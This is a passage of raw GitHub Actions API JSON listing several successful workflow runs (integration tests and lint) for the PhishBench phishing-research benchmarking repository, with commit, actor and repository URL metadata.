","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890686,"name":"URL Integration Test","node_id":"WFR_kwLOCLXpC86nELe-","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Url_Integration_Test.yml","display_title":"Update docs (#332)","run_number":101,"event":"push","status":"completed","conclusion":"success","workflow_id":12794728,"check_suite_id":7681348303,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgSzw","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890686","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890686","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:23:17Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890686/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890686/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348303","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890686/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890686/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890686/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794728","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802890685,"name":"Website TF-IDF Integration Test","node_id":"WFR_kwLOCLXpC86nELe9","head_branch":"master","head_sha":"5e646352489323f9c60471f79ae29fc0fb4be37c","path":".github/workflows/Website_Tfidf_Integration_Test.yml","display_title":"Update docs (#332)","run_number":101,"event":"push","status":"completed","conclusion":"success","workflow_id":12794729,"check_suite_id":7681348301,"check_suite_node_id":"CS_kwDOCLXpC88AAAABydgSzQ","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890685","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802890685","pull_requests":[],"created_at":"2022-08-05T10:13:53Z","updated_at":"2022-08-05T10:32:55Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T10:13:53Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890685/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890685/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7681348301","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890685/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890685/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802890685/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794729","head_commit":{"id":"5e646352489323f9c60471f79ae29fc0fb4be37c","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs (#332)","timestamp":"2022-08-05T10:13:51Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802601342,"name":"Lint","node_id":"WFR_kwLOCLXpC86nDE1-","head_branch":"docs","head_sha":"8c9c964c74f44755112798e25e06dfde858c6a48","path":".github/workflows/Lint.yml","display_title":"Update docs","run_number":384,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":7680616021,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczmVQ","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802601342","pull_requests":[],"created_at":"2022-08-05T09:20:27Z","updated_at":"2022-08-05T09:22:22Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:27Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680616021","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802601342/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/1732356","head_commit":{"id":"8c9c964c74f44755112798e25e06dfde858c6a48","tree_id":"95394bce619ff586424a7a58dc080e59e4dbc26d","message":"Update docs","timestamp":"2022-08-05T09:20:25Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReD